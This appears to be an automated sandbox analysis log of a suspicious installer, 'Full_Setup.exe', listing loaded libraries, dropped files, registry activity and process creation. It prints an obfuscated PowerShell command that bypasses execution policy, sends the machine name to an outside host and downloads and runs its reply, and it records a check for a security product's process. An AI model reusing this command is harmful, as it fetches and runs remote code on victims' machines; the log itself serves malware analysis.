Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: avifil32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: olepro32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH

Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Full_Setup.exe

Static file information: File size 73399914 > 1048576

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\Full_Setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo
Source: C:\Users\user\Desktop\Full_Setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo			Jump to behavior

Source: MDP2X8VMEVVJRGEP3T64BYVFCK.tmp.6.dr	Static PE information: real checksum: 0x33908a should be: 0x33ab8c
Source: MDP2X8VMEVVJRGEP3T64BYVFCK.tmp.8.dr	Static PE information: real checksum: 0x33908a should be: 0x33ab8c

Source: MDP2X8VMEVVJRGEP3T64BYVFCK.exe.0.dr	Static PE information: section name: .didata
Source: MDP2X8VMEVVJRGEP3T64BYVFCK.tmp.6.dr	Static PE information: section name: .didata
Source: MDP2X8VMEVVJRGEP3T64BYVFCK.tmp.8.dr	Static PE information: section name: .didata

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 37_2_0072C068 push ecx; mov dword ptr [esp], edx	37_2_0072C06C
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 37_2_0072C505 push 74000000h; iretd	37_2_0072C50D
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 37_2_0072C008 push ecx; mov dword ptr [esp], edx	37_2_0072C00C
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 37_2_0072C384 push 0072C3B0h; ret	37_2_0072C3A8
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Code function: 37_2_00A98F56 pushfd ; iretd	37_2_00A98F8B

Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	File created: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\Full_Setup.exe	File created: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	File created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	File created: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	File created: C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	File created: C:\Users\user\AppData\Roaming\UltraMedia\is-SGS9L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	File created: C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	File created: C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	File created: C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_setup64.tmp	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Full_Setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
